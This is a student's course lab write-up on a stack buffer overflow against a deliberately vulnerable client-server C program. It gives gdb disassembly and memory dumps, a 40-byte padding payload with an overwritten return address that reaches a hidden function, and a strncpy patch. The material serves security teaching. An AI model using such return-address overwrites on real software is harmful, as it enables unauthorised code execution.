HW 10 ECE 404
Nimal Padmanabhan
April 4, 2023

For this assignment, we were instructed to perform a buffer overflow attack using client-server interactions, which were in the form of two C files: **client.c** and **server.c**. The string that exposed the buffer overflow vulnerability was the following: **AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x22\x0e\x40\x00**.

We will now explain how we arrived at this string using screenshots of the terminal and later fix the vulnerability. First, we need to define a port for the client and server to communicate with. For this example, I used port number 9011. I also used the IP address of the ececomp server, which was 128.46.4.43. I then had two different terminal instances that was running the client with the specified IP address and the server running inside of gdb.

```
   0x0000000000400e35 <+19>:    callq  0x400a00 <exit@plt>
End of assembler dump.
(gdb) b clientComm
Breakpoint 1 at 0x400d00: file server.c, line 109.
(gdb) disas clientComm
Dump of assembler code for function clientComm:
   0x0000000000400ced <+0>:     push   %rbp
   0x0000000000400cee <+1>:     mov    %rsp,%rbp
   0x0000000000400cf1 <+4>:     sub    $0x40,%rsp
   0x0000000000400cf5 <+8>:     mov    %edi,-0x24(%rbp)
   0x0000000000400cf8 <+11>:    mov    %rsi,-0x30(%rbp)
   0x0000000000400cfc <+15>:    mov    %rdx,-0x38(%rbp)
   0x0000000000400d00 <+19>:    movl   $0x0,-0x4(%rbp)
   0x0000000000400d07 <+26>:    mov    -0x38(%rbp),%rcx
   0x0000000000400d0b <+30>:    mov    -0x30(%rbp),%rdx
   0x0000000000400d0f <+34>:    mov    -0x24(%rbp),%eax
   0x0000000000400d12 <+37>:    mov    %rcx,%r8
   0x0000000000400d15 <+40>:    mov    %rdx,%rcx
   0x0000000000400d18 <+43>:    mov    $0x7,%edx
   0x0000000000400d1d <+48>:    mov    $0x1,%esi
   0x0000000000400d22 <+53>:    mov    %eax,%edi
```

I first put a breakpoint at the beginning of the clientComm() function, and subsequently dumped its assembly instructions. The purpose is to find the memory address before the return call of the clientComm() function, and we will be using this as part of our buffer overflow attack to access the secretFunction(). As shown in the next screenshot, I placed another breakpoint at this leave address and ran the program.

```
Breakpoint 2, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffdd70, optlen_addr=0x7fffffffdd48) at server.c:13
137     }
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/shay/a/npadmana/ECE404/HW10/server 9013
Made the initialization.
Connected from 128.46.4.35

Breakpoint 1, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffdd70, optlen_addr=0x7fffffffdd48) at server.c:10
109         int numBytes = 0;
(gdb) print /x $rsp
$1 = 0x7fffffffdce0
(gdb) print /x *(unsigned *) $rsp
$2 = 0xffffdd80
(gdb) print /x $rbp
$3 = 0x7fffffffdd20
(gdb) print /x *((unsigned *) $rbp + 2)
$4 = 0x400ce3
(gdb)
```

These print statements were to determine the return address of the clientComm function, which was 0x400ce3. This is important because I will be overwriting this address with the leave address of secretFunction(), as shown in the screenshot below. Paired with this, I will need to determine the number of As to expose the vulnerability, which in this case is 40. By printing x/ 40b $rsp, I was able to see the occurrences of A since 0x41 is A's ASCII code. We only look at the first row, so 0x41 shows up 8 times. There are 5 rows in total, so we need 8 * 5 = 40 As.

```
   0x0000000000400de5 <+248>:   lea    -0x20(%rbp),%rsi
   0x0000000000400de9 <+252>:   mov    -0x24(%rbp),%eax
   0x0000000000400dec <+255>:   mov    $0x0,%ecx
   0x0000000000400df1 <+260>:   mov    %eax,%edi
   0x0000000000400df3 <+262>:   callq  0x400930 <send@plt>
   0x0000000000400df8 <+267>:   cmp    $0xffffffffffffffff,%rax
   0x0000000000400dfc <+271>:   jne    0x400e1c <clientComm+303>
   0x0000000000400dfe <+273>:   mov    $0x400f97,%edi
   0x0000000000400e03 <+278>:   callq  0x4009c0 <perror@plt>
---Type <return> to continue, or q <return> to quit---
   0x0000000000400e08 <+283>:   mov    -0x24(%rbp),%eax
   0x0000000000400e0b <+286>:   mov    %eax,%edi
   0x0000000000400e0d <+288>:   callq  0x400950 <close@plt>
   0x0000000000400e12 <+293>:   mov    $0x1,%edi
   0x0000000000400e17 <+298>:   callq  0x400a00 <exit@plt>
   0x0000000000400e1c <+303>:   mov    -0x10(%rbp),%rax
   0x0000000000400e20 <+307>:   leaveq
   0x0000000000400e21 <+308>:   retq
End of assembler dump.
(gdb)
```

```
(gdb) x /40b $rsp
0x7fffffffda58: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffda60: 0x41    0x41    0x41    0x22    0x0e    0x40    0x00    0x00
0x7fffffffda68: 0x59    0xdf    0xff    0xff    0x02    0x00    0x00    0x00
0x7fffffffda70: 0x00    0x10    0xfc    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffda78: 0x04    0x00    0x00    0x00    0x10    0x00    0x00    0x00
(gdb)
```

With our newly crafted string, here is a screenshot of the buffer overflow attack from the server and client sides.

```
bash-4.2$ ls
client  client.c  server  server.c
bash-4.2$ gdb server
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/shay/a/npadmana/ECE404/HW10/server...done.
(gdb) run 9011
Starting program: /home/shay/a/npadmana/ECE404/HW10/server 9011
Made the initialization.
Connected from 128.46.4.33
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"@RECEIVED BYTES: 43

You weren't supposed to get here!
[Inferior 1 (process 60888) exited with code 01]
(gdb)
```

```
bash-4.2$ gcc client.c -o client
bash-4.2$ ./client 128.46.4.35
Say something: A
You Said: A

Say something: AA
You Said: AA

Say something: AAA
You Said: AAA

Say something: SSSS
You Said: SSSS

Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x22\x0e\x40\x00
You Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"@
Say something:
```

To fix this vulnerability, we can switch the strcpy() to a strncpy() call. When using strncpy(), it will only copy the string as long as the size is less than or equal to the MAX_DATA_SIZE parameter.

```
// strcpy(str, recvBuff);
// Modified the strcpy call to strncpy in order to prevent the buffer overflow vulnerability
strncpy(str,recvBuff, MAX_DATA_SIZE);
```